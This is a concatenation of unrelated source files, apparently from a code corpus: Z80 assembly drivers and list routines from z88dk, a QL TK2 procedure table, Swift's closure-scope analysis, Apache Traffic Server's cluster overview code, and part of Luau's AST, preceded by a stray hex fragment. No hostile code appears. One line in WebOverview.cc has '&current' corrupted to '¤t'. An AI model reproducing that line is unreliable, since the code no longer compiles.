00 00 00 00 00 00 00 47 00 47 00 00 00 00 47 00 00 47 47 00 00 00 47 47 00 00 47 00 00 00 47 47 00 00 00 47 47 00 00 47 00 00 00 47 00 00 47 47 00 67 00 00 00 00 47 00 00 00 00 00 47 47 00 47 47 00 47 00 47 00 00 00 47 00 00 00 00 47 47 00 00 00 00 00 00 47 47 47 00 00 00 47 00 00 47 00 00 00 00 47 00 00 00 00 00 47 00 00 00 00 00 00 00 00 00 00 00 00 47 00 00 00 00 00 47 47 00 00 00 00 00 00 47 00 00 47 00 47 47 00 00 47 00 00 00 47 47 00 00 00 00 00 00 00 47 00 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 00 00 00 00 47 47 47 00 00 00 00 00 00 00 49 00 00 47 00 00 00 47 47 47 00 00 00 00 47 47 47 00 00 00 00 47 00 00 00 00 47 47 00 47 00 00 00 00 00 47 00 00 00 00 00 00 00 47 00 00 00 47 47 00 00 00 00 00 47 00 00 00 00 47 00 00 47 00 00 00 47 00 47 00 00 00 00 00 00 00 00 00 47 00 67 00 47 00 00 00 47 44 00 47 00 00 00 00 00 47 47 47 00 00 00 00 47 00 47 00 00 00 00 00 00 00 00 00 47 00 00 47 47 47 00 67 00 00 00 47 47 47 47 00 00 47 00 00 00 00 67 00 00 00 47 00 00 00 00 00 47 00 67 47 00 47 47 47 00 47 00 47 00 00 00 47 00 00 00 00 00 00 00 00 00 47 00 00 00 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 47 00 67 00 00 00 00 00 00 00 47 47 00 47 00 44 00 47 00 00 00 00 47 47 00 00 00 00 47 00 00 00 00 47 49 00 00 47 00 00 00 00 00 00 00 47 00 47 00 00 00 47 00 00 47 00 00 00 00 47 47 00 00 00 00 00 67 00 00 47 00 00 00 00 00 47 00 00 00 00 00 00 00 47 00 00 47 00 00 47 47 47 00 00 00 47 00 00 00 00 00 00 00 47 00 00 00 00 00 00 47 00 47 00 47 00 00 00 00 00 67 00 00 47 00 00 00 47 00 00 00 00 00 00 47 00 00 00 00 00 00 47 00 00 00 00 00 47 00 00 00 00 00 47 00 00 00 47 47 00 44 00 47 47 00 47 00 00 00 00 00 00 00 47 00 00 00 00 00 00 00 00 67 00 00 47 47 47 00 00 47 47 47 00 47 00 00 00 00 00 00 00 00 00 00 00 00 47 00 00 00 00 00 00 00 00 00 00 47 00 00 00 00 00 00 47 47 00 00 47 00 00 67 00 47 00 00 00 00 00 00 00 00 00 00 47 00 47 00 00 47 00 67 00 00 00 00 47 00 00 47 00 00 00 00 00 00 00 47 00 47
*/
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; rc_01_input_sioa ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; The keyboard is read via sioa library routines.
;
; * Keyboard reads are blocking.
;
; This subroutine inherits the library's console_01_input
; terminal code which implements line editing and various
; other niceties. This means this input console must be
; tied to an output terminal that understands console_01_input
; terminal messages.
;
; ;;;;;;;;;;;;;;;;;;;;
; DRIVER CLASS DIAGRAM
; ;;;;;;;;;;;;;;;;;;;;
;
; CONSOLE_01_INPUT_TERMINAL (root, abstract)
; RC_01_INPUT_SIOA (concrete)
;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; MESSAGES CONSUMED FROM STDIO
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; * STDIO_MSG_GETC
; * STDIO_MSG_EATC
; * STDIO_MSG_READ
; * STDIO_MSG_SEEK
; * STDIO_MSG_FLSH
; * STDIO_MSG_ICTL
; * STDIO_MSG_CLOS
;
; Others result in enotsup_zc.
;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; MESSAGES CONSUMED FROM CONSOLE_01_INPUT_TERMINAL
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; * ITERM_MSG_GETC
; * ITERM_MSG_INTERRUPT
; * ITERM_MSG_REJECT
;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; MESSAGES GENERATED FOR CONSOLE_01_OUTPUT_TERMINAL
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; * ITERM_MSG_PUTC
; * ITERM_MSG_PRINT_CURSOR
; * ITERM_MSG_ERASE_CURSOR
; * ITERM_MSG_BS
; * ITERM_MSG_BS_PWD
; * ITERM_MSG_READLINE_BEGIN
; * ITERM_MSG_READLINE_END
; * ITERM_MSG_BELL
;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; IOCTLs UNDERSTOOD BY THIS DRIVER
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; * IOCTL_ITERM_RESET
;
; * IOCTL_ITERM_TIE
; Attach input device to a different output terminal (0 to disconnect)
;
; * IOCTL_ITERM_GET_EDITBUF
; Copies edit buffer details to user program
;
; * IOCTL_ITERM_SET_EDITBUF
; Writes edit buffer details into driver
;
; * IOCTL_ITERM_ECHO
; enable / disable echo mode
;
; * IOCTL_ITERM_PASS
; enable / disable password mode
;
; * IOCTL_ITERM_LINE
; enable / disable line editing mode
;
; * IOCTL_ITERM_COOK
; enable / disable cook mode
;
; * IOCTL_ITERM_CAPS
; set / reset caps lock
;
; * IOCTL_ITERM_CRLF
; enable / disable crlf processing
;
; * IOCTL_ITERM_CURS
; enable / disable cursor in line mode
;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;
; BYTES RESERVED IN FDSTRUCT
; ;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; offset (wrt FDSTRUCT.JP) description
;
; 8..13 mutex
; 14..15 FDSTRUCT *oterm (connected output terminal, 0 if none)
; 16 pending_char
; 17..18 read_index (index of next char to read from edit buffer)
; 19..24 b_array (manages edit buffer)
SECTION code_driver
SECTION code_driver_terminal_input
PUBLIC rc_01_input_sioa
EXTERN ITERM_MSG_GETC, ITERM_MSG_INTERRUPT, ITERM_MSG_REJECT, STDIO_MSG_FLSH
EXTERN console_01_input_terminal
EXTERN rc_01_input_sioa_iterm_msg_getc
EXTERN rc_01_input_sioa_iterm_msg_interrupt
EXTERN rc_01_input_sioa_iterm_msg_reject
EXTERN rc_01_input_sioa_stdio_msg_flsh
rc_01_input_sioa:
cp ITERM_MSG_GETC
jp z, rc_01_input_sioa_iterm_msg_getc
cp ITERM_MSG_INTERRUPT
jp z, rc_01_input_sioa_iterm_msg_interrupt
cp ITERM_MSG_REJECT
jp z, rc_01_input_sioa_iterm_msg_reject
cp STDIO_MSG_FLSH
jp z, rc_01_input_sioa_stdio_msg_flsh
jp console_01_input_terminal ; forward to library
|
; TK2 procs
section procs
xdef hot_ptk2
include 'dev8_mac_proc'
hot_ptk2
proc_stt
proc_def ALTKEY
proc_def TK2_EXT,hot_tk2
proc_end
proc_stt
proc_end
end
|
//===--- ClosureScope.cpp - Closure Scope Analysis ------------------------===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
///
/// Implementation of ClosureScopeAnalysis.
///
//===----------------------------------------------------------------------===//
#define DEBUG_TYPE "closure-scope"
#include "swift/SIL/SILModule.h"
#include "swift/SILOptimizer/Analysis/ClosureScope.h"
namespace swift {
class ClosureScopeData {
using IndexRange = ClosureScopeAnalysis::IndexRange;
using IndexLookupFunc = ClosureScopeAnalysis::IndexLookupFunc;
using ScopeRange = ClosureScopeAnalysis::ScopeRange;
private:
// Map an index to each SILFunction with a closure scope.
std::vector<SILFunction *> indexedScopes;
// Map each SILFunction with a closure scope to an index.
llvm::DenseMap<SILFunction *, int> scopeToIndexMap;
// A list of all indices for the SILFunctions that partially apply this
// closure. The indices index into the `indexedScopes` vector. If the indexed
// scope is nullptr, then that function has been deleted.
using ClosureScopes = llvm::SmallVector<int, 1>;
// Map each closure to its parent scopes.
llvm::DenseMap<SILFunction *, ClosureScopes> closureToScopesMap;
public:
void reset() {
indexedScopes.clear();
scopeToIndexMap.clear();
closureToScopesMap.clear();
}
void erase(SILFunction *F) {
// If this function is a mapped closure scope, remove it, leaving a nullptr
// sentinel.
auto indexPos = scopeToIndexMap.find(F);
if (indexPos != scopeToIndexMap.end()) {
indexedScopes[indexPos->second] = nullptr;
scopeToIndexMap.erase(F);
}
// If this function is a closure, remove it.
closureToScopesMap.erase(F);
}
// Record all closure scopes in this module.
void compute(SILModule *M);
bool isClosureScope(SILFunction *F) { return scopeToIndexMap.count(F); }
// Return a range of scopes for the given closure. The elements of the
// returned range have type `SILFunction *` and are non-null. Return an empty
// range for a SILFunction that is not a closure or is a dead closure.
ScopeRange getClosureScopes(SILFunction *ClosureF) {
IndexRange indexRange(nullptr, nullptr);
auto closureScopesPos = closureToScopesMap.find(ClosureF);
if (closureScopesPos != closureToScopesMap.end()) {
auto &indexedScopes = closureScopesPos->second;
indexRange = IndexRange(indexedScopes.begin(), indexedScopes.end());
}
return makeOptionalTransformRange(indexRange,
IndexLookupFunc(indexedScopes));
}
void recordScope(PartialApplyInst *PAI) {
// Only track scopes of non-escaping closures.
auto closureTy = PAI->getCallee()->getType().castTo<SILFunctionType>();
if (!isNonEscapingClosure(closureTy) ||
PAI->isCalleeDynamicallyReplaceable())
return;
auto closureFunc = PAI->getCalleeFunction();
assert(closureFunc && "non-escaping closure needs a direct partial_apply.");
auto scopeFunc = PAI->getFunction();
int scopeIdx = lookupScopeIndex(scopeFunc);
// Passes may assume that a deserialized function can only refer to
// deserialized closures. For example, AccessEnforcementSelection skips
// deserialized functions but assumes all a closure's parent scope have been
// processed.
assert(scopeFunc->wasDeserializedCanonical()
== closureFunc->wasDeserializedCanonical() &&
"A closure cannot be serialized in a different module than its "
"parent context");
auto &indices = closureToScopesMap[closureFunc];
if (std::find(indices.begin(), indices.end(), scopeIdx) != indices.end())
return;
indices.push_back(scopeIdx);
}
protected:
int lookupScopeIndex(SILFunction *scopeFunc) {
auto indexPos = scopeToIndexMap.find(scopeFunc);
if (indexPos != scopeToIndexMap.end())
return indexPos->second;
int scopeIdx = indexedScopes.size();
scopeToIndexMap[scopeFunc] = scopeIdx;
indexedScopes.push_back(scopeFunc);
return scopeIdx;
}
};
void ClosureScopeData::compute(SILModule *M) {
for (auto &F : *M) {
for (auto &BB : F) {
for (auto &I : BB) {
if (auto *PAI = dyn_cast<PartialApplyInst>(&I)) {
recordScope(PAI);
}
}
}
}
}
ClosureScopeAnalysis::ClosureScopeAnalysis(SILModule *M)
: SILAnalysis(SILAnalysisKind::ClosureScope), M(M), scopeData(nullptr) {}
ClosureScopeAnalysis::~ClosureScopeAnalysis() = default;
bool ClosureScopeAnalysis::isClosureScope(SILFunction *scopeFunc) {
return getOrComputeScopeData()->isClosureScope(scopeFunc);
}
ClosureScopeAnalysis::ScopeRange
ClosureScopeAnalysis::getClosureScopes(SILFunction *closureFunc) {
return getOrComputeScopeData()->getClosureScopes(closureFunc);
}
void ClosureScopeAnalysis::invalidate() {
if (scopeData) scopeData->reset();
}
void ClosureScopeAnalysis::notifyWillDeleteFunction(SILFunction *F) {
if (scopeData) scopeData->erase(F);
}
ClosureScopeData *ClosureScopeAnalysis::getOrComputeScopeData() {
if (!scopeData) {
scopeData = llvm::make_unique<ClosureScopeData>();
scopeData->compute(M);
}
return scopeData.get();
}
SILAnalysis *createClosureScopeAnalysis(SILModule *M) {
return new ClosureScopeAnalysis(M);
}
void TopDownClosureFunctionOrder::visitFunctions(
llvm::function_ref<void(SILFunction *)> visitor) {
auto markVisited = [&](SILFunction *F) {
bool visitOnce = visited.insert(F).second;
assert(visitOnce);
(void)visitOnce;
};
auto allScopesVisited = [&](SILFunction *closureF) {
return llvm::all_of(CSA->getClosureScopes(closureF),
[this](SILFunction *F) { return visited.count(F); });
};
for (auto &F : *CSA->getModule()) {
if (!allScopesVisited(&F)) {
closureWorklist.insert(&F);
continue;
}
markVisited(&F);
visitor(&F);
}
unsigned numClosures = closureWorklist.size();
while (numClosures) {
unsigned prevNumClosures = numClosures;
for (auto &closureNode : closureWorklist) {
// skip erased closures.
if (!closureNode)
continue;
auto closureF = closureNode.getValue();
if (!allScopesVisited(closureF))
continue;
markVisited(closureF);
visitor(closureF);
closureWorklist.erase(closureF);
--numClosures;
}
assert(numClosures < prevNumClosures && "Cyclic closures scopes");
(void)prevNumClosures;
}
}
} // namespace swift
|
/** @file
A brief file description
@section license License
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/****************************************************************************
*
* WebOverview.cc - code to overview page
*
*
****************************************************************************/
#include "ts/ink_platform.h"
#include "ts/ink_string.h"
#include "MgmtDefs.h"
#include "WebOverview.h"
#include "WebMgmtUtils.h"
#include "LocalManager.h"
#include "ClusterCom.h"
#include "MgmtUtils.h"
#include "MgmtDefs.h"
#include "ts/Diags.h"
// Make this pointer to avoid nasty destruction
// problems do to alarm
// fork, execl, exit squences
overviewPage *overviewGenerator;
overviewRecord::overviewRecord(unsigned long inet_addr, bool local, ClusterPeerInfo *cpi)
{
char *name_l; // hostname looked up from node record
bool name_found;
struct in_addr nameFailed;
inetAddr = inet_addr;
this->up = false;
this->localNode = local;
// If this is the local node, there is no cluster peer info
// record. Remote nodes require a cluster peer info record
ink_assert((local == false && cpi != NULL) || (local == true && cpi == NULL));
// Set up the copy of the records array and initialize it
if (local == true) {
node_rec_data.num_recs = 0;
node_rec_data.recs = NULL;
recordArraySize = 0;
node_rec_first_ix = 0;
} else {
node_rec_data.num_recs = cpi->node_rec_data.num_recs;
recordArraySize = node_rec_data.num_recs * sizeof(RecRecord);
node_rec_data.recs = new RecRecord[recordArraySize];
memcpy(node_rec_data.recs, cpi->node_rec_data.recs, recordArraySize);
// Recaculate the old relative index
RecGetRecordOrderAndId(node_rec_data.recs[0].name, &node_rec_first_ix, NULL);
}
// Query for the name of the node. If it is not there, some
// their cluster ip address
name_l = this->readString("proxy.node.hostname_FQ", &name_found);
if (name_found == false || name_l == NULL) {
nameFailed.s_addr = inetAddr;
mgmt_log("[overviewRecord::overviewRecord] Unable to find hostname for %s\n", inet_ntoa(nameFailed));
ats_free(name_l); // about to overwrite name_l, so we need to free it first
name_l = ats_strdup(inet_ntoa(nameFailed));
}
const size_t hostNameLen = strlen(name_l) + 1;
this->hostname = new char[hostNameLen];
ink_strlcpy(this->hostname, name_l, hostNameLen);
ats_free(name_l);
}
overviewRecord::~overviewRecord()
{
delete[] hostname;
if (localNode == false) {
delete[] node_rec_data.recs;
}
}
// void overviewRecord::updateStatus(time_t, ClusterPeerInfo*)
// updates up/down status based on the cluster peer info record
//
// currentTime is the value of localtime(time()) - sent in as
// a parameter so we do not have to make repetitive system calls.
// overviewPage::checkForUpdates can just make one call
//
// cpi - is a pointer to a structure we got from ClusterCom that represnets
// information about this node
//
// a machine is up if we have heard from it in the last 15 seconds
//
void
overviewRecord::updateStatus(time_t currentTime, ClusterPeerInfo *cpi)
{
// Update if the node is up or down
if (currentTime - cpi->idle_ticks > 15) {
up = false;
} else {
up = true;
}
// Update the node records by copying them from cpi
// (remote nodes only)
if (localNode == false) {
memcpy(node_rec_data.recs, cpi->node_rec_data.recs, recordArraySize);
RecGetRecordOrderAndId(node_rec_data.recs[0].name, &node_rec_first_ix, NULL);
}
}
// overview::readInteger
//
// Accessor functions for node records. For remote node,
// we get the value in the node_data array we maintain
// in this object. For the node, we do not maintain any data
// and rely on lmgmt->record_data for both the retrieval
// code and the records array
//
// Locking should be done by overviewPage::accessLock.
// CALLEE is responsible for obtaining and releasing the lock
//
RecInt
overviewRecord::readInteger(const char *name, bool *found)
{
RecInt rec = 0;
int rec_status = REC_ERR_OKAY;
int order = -1;
if (localNode == false) {
rec_status = RecGetRecordOrderAndId(name, &order, NULL);
if (rec_status == REC_ERR_OKAY) {
order -= node_rec_first_ix; // Offset
ink_release_assert(order < node_rec_data.num_recs);
ink_assert(order < node_rec_data.num_recs);
rec = node_rec_data.recs[order].data.rec_int;
}
} else {
rec_status = RecGetRecordInt(name, &rec);
}
if (found) {
*found = (rec_status == REC_ERR_OKAY);
} else {
mgmt_log(stderr, "node variables '%s' not found!\n");
}
return rec;
}
RecFloat
overviewRecord::readFloat(const char *name, bool *found)
{
RecFloat rec = 0.0;
int rec_status = REC_ERR_OKAY;
int order = -1;
if (localNode == false) {
rec_status = RecGetRecordOrderAndId(name, &order, NULL);
if (rec_status == REC_ERR_OKAY) {
order -= node_rec_first_ix; // Offset
ink_release_assert(order < node_rec_data.num_recs);
ink_assert(order < node_rec_data.num_recs);
rec = node_rec_data.recs[order].data.rec_float;
}
} else {
rec_status = RecGetRecordFloat(name, &rec);
}
if (found) {
*found = (rec_status == REC_ERR_OKAY);
} else {
mgmt_log(stderr, "node variables '%s' not found!\n");
}
return rec;
}
RecString
overviewRecord::readString(const char *name, bool *found)
{
RecString rec = NULL;
int rec_status = REC_ERR_OKAY;
int order = -1;
if (localNode == false) {
rec_status = RecGetRecordOrderAndId(name, &order, NULL);
if (rec_status == REC_ERR_OKAY) {
order -= node_rec_first_ix; // Offset
ink_release_assert(order < node_rec_data.num_recs);
ink_assert(order < node_rec_data.num_recs);
rec = ats_strdup(node_rec_data.recs[order].data.rec_string);
}
} else {
rec_status = RecGetRecordString_Xmalloc(name, &rec);
}
if (found) {
*found = (rec_status == REC_ERR_OKAY);
} else {
mgmt_log(stderr, "node variables '%s' not found!\n");
}
return rec;
}
// overview::readData, read RecData according varType
//
// Accessor functions for node records. For remote node,
// we get the value in the node_data array we maintain
// in this object. For the node, we do not maintain any data
// and rely on lmgmt->record_data for both the retrieval
// code and the records array
//
// Locking should be done by overviewPage::accessLock.
// CALLEE is responsible for obtaining and releasing the lock
//
RecData
overviewRecord::readData(RecDataT varType, const char *name, bool *found)
{
int rec_status = REC_ERR_OKAY;
int order = -1;
RecData rec;
RecDataClear(RECD_NULL, &rec);
if (localNode == false) {
rec_status = RecGetRecordOrderAndId(name, &order, NULL);
if (rec_status == REC_ERR_OKAY) {
order -= node_rec_first_ix; // Offset
ink_release_assert(order < node_rec_data.num_recs);
ink_assert(order < node_rec_data.num_recs);
RecDataSet(varType, &rec, &node_rec_data.recs[order].data);
} else {
Fatal("node variables '%s' not found!\n", name);
}
} else
rec_status = RecGetRecord_Xmalloc(name, varType, &rec, true);
if (found) {
*found = (rec_status == REC_ERR_OKAY);
} else {
mgmt_log(stderr, "node variables '%s' not found!\n");
}
return rec;
}
bool
overviewRecord::varFloatFromName(const char *name, MgmtFloat *value)
{
bool found = false;
if (value)
*value = readFloat((char *)name, &found);
return found;
}
overviewPage::overviewPage() : sortRecords(10, false)
{
ink_mutex_init(&accessLock, "overviewRecord");
nodeRecords = ink_hash_table_create(InkHashTableKeyType_Word);
numHosts = 0;
ourAddr = 0; // We will update this when we add the record for
// this machine
}
overviewPage::~overviewPage()
{
// Since we only have one global object and we never destruct it
// do not actually free memeory since it causes problems the
// process is vforked, and the child execs something
// The below code is DELIBERTLY commented out
//
// ink_mutex_destroy(&accessLock);
// ink_hash_table_destroy(nodeRecords);
}
// overviewPage::checkForUpdates - updates node records as to whether peers
// are up or down
void
overviewPage::checkForUpdates()
{
ClusterPeerInfo *tmp;
InkHashTableEntry *entry;
InkHashTableIteratorState iterator_state;
overviewRecord *current;
time_t currentTime;
bool newHostAdded = false;
// grok through the cluster communication stuff and update information
// about hosts in the cluster
//
ink_mutex_acquire(&accessLock);
ink_mutex_acquire(&(lmgmt->ccom->mutex));
currentTime = time(NULL);
for (entry = ink_hash_table_iterator_first(lmgmt->ccom->peers, &iterator_state); entry != NULL;
entry = ink_hash_table_iterator_next(lmgmt->ccom->peers, &iterator_state)) {
tmp = (ClusterPeerInfo *)ink_hash_table_entry_value(lmgmt->ccom->peers, entry);
if (ink_hash_table_lookup(nodeRecords, (InkHashTableKey)tmp->inet_address, (InkHashTableValue *)¤t) == 0) {
this->addRecord(tmp);
newHostAdded = true;
} else {
current->updateStatus(currentTime, tmp);
}
}
ink_mutex_release(&lmgmt->ccom->mutex);
// If we added a new host we must resort sortRecords
if (newHostAdded) {
this->sortHosts();
}
ink_mutex_release(&accessLock);
}
// overrviewPage::sortHosts()
//
// resorts sortRecords, but always leaves the local node
// as the first record
//
// accessLock must be held by callee
void
overviewPage::sortHosts()
{
void **array = sortRecords.getArray();
qsort(array + 1, numHosts - 1, sizeof(void *), hostSortFunc);
}
// overviewPage::addRecord(ClusterPerrInfo* cpi)
// Adds a new node record
// Assuems that this->accessLock is already held
//
void
overviewPage::addRecord(ClusterPeerInfo *cpi)
{
overviewRecord *newRec;
ink_assert(cpi != NULL);
newRec = new overviewRecord(cpi->inet_address, false, cpi);
newRec->updateStatus(time(NULL), cpi);
ink_hash_table_insert(nodeRecords, (InkHashTableKey)cpi->inet_address, (InkHashTableEntry *)newRec);
sortRecords.addEntry(newRec);
numHosts++;
}
// adds a record to nodeRecords for the local machine.
// gets IP addr from lmgmt->ccom so cluster communtication
// must be intialized before calling this function
//
//
void
overviewPage::addSelfRecord()
{
overviewRecord *newRec;
ink_mutex_acquire(&accessLock);
// We should not have been called before
ink_assert(ourAddr == 0);
// Find out what our cluster addr is from
// from cluster com
this->ourAddr = lmgmt->ccom->getIP();
newRec = new overviewRecord(ourAddr, true);
newRec->up = true;
ink_hash_table_insert(nodeRecords, (InkHashTableKey) this->ourAddr, (InkHashTableEntry *)newRec);
sortRecords.addEntry(newRec);
numHosts++;
ink_mutex_release(&accessLock);
}
// overviewRecord* overviewPage::findNodeByName(const char* nodeName)
//
// Returns a pointer to node name nodeName
// If node name is not found, returns NULL
//
// CALLEE MUST BE HOLDING this->accessLock
//
overviewRecord *
overviewPage::findNodeByName(const char *nodeName)
{
overviewRecord *current = NULL;
bool nodeFound = false;
// Do a linear search of the nodes for this nodeName.
// Yes, I know this is slow but the current word is ten
// nodes would be a huge cluster so this should not
// be a problem
//
for (int i = 0; i < numHosts; i++) {
current = (overviewRecord *)sortRecords[i];
if (strcmp(nodeName, current->hostname) == 0) {
nodeFound = true;
break;
}
}
if (nodeFound == true) {
return current;
} else {
return NULL;
}
}
// MgmtString overviewPage::readString(const char* nodeName, char* *name, bool *found = NULL)
//
// Looks up a node record for a specific by nodeName
// CALLEE deallocates the string with free()
//
MgmtString
overviewPage::readString(const char *nodeName, const char *name, bool *found)
{
MgmtString r = NULL;
// bool nodeFound = false;
bool valueFound = false;
overviewRecord *node;
ink_mutex_acquire(&accessLock);
node = this->findNodeByName(nodeName);
if (node != NULL) {
r = node->readString(name, &valueFound);
}
ink_mutex_release(&accessLock);
if (found != NULL) {
*found = valueFound;
}
return r;
}
// MgmtInt overviewPage::readInteger(const char* nodeName, char* *name, bool *found = NULL)
//
// Looks up a node record for a specific by nodeName
//
MgmtInt
overviewPage::readInteger(const char *nodeName, const char *name, bool *found)
{
MgmtInt r = -1;
// bool nodeFound = false;
bool valueFound = false;
overviewRecord *node;
ink_mutex_acquire(&accessLock);
node = this->findNodeByName(nodeName);
if (node != NULL) {
r = node->readInteger(name, &valueFound);
}
ink_mutex_release(&accessLock);
if (found != NULL) {
*found = valueFound;
}
return r;
}
// MgmtFloat overviewPage::readFloat(const char* nodeName, char* *name, bool *found = NULL)
//
// Looks up a node record for a specific by nodeName
//
RecFloat
overviewPage::readFloat(const char *nodeName, const char *name, bool *found)
{
RecFloat r = -1.0;
// bool nodeFound = false;
bool valueFound = false;
overviewRecord *node;
ink_mutex_acquire(&accessLock);
node = this->findNodeByName(nodeName);
if (node != NULL) {
r = node->readFloat(name, &valueFound);
}
ink_mutex_release(&accessLock);
if (found != NULL) {
*found = valueFound;
}
return r;
}
// int overviewPage::clusterSumData(RecDataT varType, const char* nodeVar,
// RecData* sum)
//
// Sums nodeVar for every up node in the cluster and stores the
// sum in *sum. Returns the number of nodes summed over
//
// CALLEE MUST HOLD this->accessLock
//
int
overviewPage::clusterSumData(RecDataT varType, const char *nodeVar, RecData *sum)
{
int numUsed = 0;
int numHosts_local = sortRecords.getNumEntries();
overviewRecord *current;
bool found;
RecData recTmp;
ink_assert(sum != NULL);
RecDataClear(varType, sum);
for (int i = 0; i < numHosts_local; i++) {
current = (overviewRecord *)sortRecords[i];
if (current->up == true) {
numUsed++;
recTmp = current->readData(varType, nodeVar, &found);
*sum = RecDataAdd(varType, *sum, recTmp);
if (found == false) {
}
}
}
return numUsed;
}
int
overviewPage::varClusterDataFromName(RecDataT varType, char *nodeVar, RecData *sum)
{
int status = 0;
ink_mutex_acquire(&accessLock);
status = clusterSumData(varType, nodeVar, sum);
ink_mutex_release(&accessLock);
return (status);
}
// Moved from the now removed StatAggregation.cc
void
AgFloat_generic_scale_to_int(const char *processVar, const char *nodeVar, double factor)
{
MgmtFloat tmp;
if (varFloatFromName(processVar, &tmp)) {
tmp = tmp * factor;
tmp = tmp + 0.5; // round up.
varSetInt(nodeVar, (int)tmp);
} else {
varSetInt(nodeVar, -20);
}
}
// char* overviewPage::resolvePeerHostname(char* peerIP)
//
// A locking interface to overviewPage::resolvePeerHostname_ml
//
char *
overviewPage::resolvePeerHostname(const char *peerIP)
{
char *r;
ink_mutex_acquire(&accessLock);
r = this->resolvePeerHostname_ml(peerIP);
ink_mutex_release(&accessLock);
return r;
}
// char* overviewPage::resolvePeerHostname_ml(char* peerIP)
//
// Resolves the peer the hostname from its IP address
// The hostname is resolved by finding the overviewRecord
// Associated with the IP address and copying its hostname
//
// CALLEE frees storage
// CALLEE is responsible for locking
//
char *
overviewPage::resolvePeerHostname_ml(const char *peerIP)
{
unsigned long int ipAddr;
InkHashTableValue lookup;
overviewRecord *peerRecord;
char *returnName = NULL;
ipAddr = inet_addr(peerIP);
// Check to see if our address is malformed
if ((long int)ipAddr == -1) {
return NULL;
}
if (ink_hash_table_lookup(nodeRecords, (InkHashTableKey)ipAddr, &lookup)) {
peerRecord = (overviewRecord *)lookup;
returnName = ats_strdup(peerRecord->hostname);
}
return returnName;
}
// int hostSortFunc(const void* arg1, const void* arg2)
//
// A compare function that we can to qsort that sorts
// overviewRecord*
//
int
hostSortFunc(const void *arg1, const void *arg2)
{
overviewRecord *rec1 = (overviewRecord *)*(void **)arg1;
overviewRecord *rec2 = (overviewRecord *)*(void **)arg2;
return strcmp(rec1->hostname, rec2->hostname);
}
|
; ===============================================================
; Jan 2014
; ===============================================================
;
; void *p_list_push_back(p_list_t *list, void *item)
;
; Add item to the back of the list.
;
; ===============================================================
SECTION code_adt_p_list
PUBLIC asm_p_list_push_back
EXTERN asm_p_forward_list_push_front, asm_p_forward_list_insert_after
asm_p_list_push_back:
; enter : hl = p_list_t *list
; de = void *item
;
; exit : hl = void *item
; z flag set if item is now sole occupant of list
;
; uses : af, de, hl
inc de
inc de ; de = & item->prev
inc hl
inc hl ; hl = & list->tail
call asm_p_forward_list_push_front
; hl = & item->prev
; de = & list->tail
; z flag set if list was empty
jr z, list_empty
ld e,(hl)
inc hl
ld d,(hl)
dec hl
list_empty:
dec de
dec de
dec hl
dec hl
ex de,hl
; de = & item->next
; hl = & item->prev->next or & list->head
jp asm_p_forward_list_insert_after
|
// This file is part of the Luau programming language and is licensed under MIT License; see LICENSE.txt for details
#include "Luau/Ast.h"
#include "Luau/Common.h"
namespace Luau
{
static void visitTypeList(AstVisitor* visitor, const AstTypeList& list)
{
for (AstType* ty : list.types)
ty->visit(visitor);
if (list.tailType)
list.tailType->visit(visitor);
}
int gAstRttiIndex = 0;
AstExprGroup::AstExprGroup(const Location& location, AstExpr* expr)
: AstExpr(ClassIndex(), location)
, expr(expr)
{
}
void AstExprGroup::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
expr->visit(visitor);
}
AstExprConstantNil::AstExprConstantNil(const Location& location)
: AstExpr(ClassIndex(), location)
{
}
void AstExprConstantNil::visit(AstVisitor* visitor)
{
visitor->visit(this);
}
AstExprConstantBool::AstExprConstantBool(const Location& location, bool value)
: AstExpr(ClassIndex(), location)
, value(value)
{
}
void AstExprConstantBool::visit(AstVisitor* visitor)
{
visitor->visit(this);
}
AstExprConstantNumber::AstExprConstantNumber(const Location& location, double value)
: AstExpr(ClassIndex(), location)
, value(value)
{
}
void AstExprConstantNumber::visit(AstVisitor* visitor)
{
visitor->visit(this);
}
AstExprConstantString::AstExprConstantString(const Location& location, const AstArray<char>& value)
: AstExpr(ClassIndex(), location)
, value(value)
{
}
void AstExprConstantString::visit(AstVisitor* visitor)
{
visitor->visit(this);
}
AstExprLocal::AstExprLocal(const Location& location, AstLocal* local, bool upvalue)
: AstExpr(ClassIndex(), location)
, local(local)
, upvalue(upvalue)
{
}
void AstExprLocal::visit(AstVisitor* visitor)
{
visitor->visit(this);
}
AstExprGlobal::AstExprGlobal(const Location& location, const AstName& name)
: AstExpr(ClassIndex(), location)
, name(name)
{
}
void AstExprGlobal::visit(AstVisitor* visitor)
{
visitor->visit(this);
}
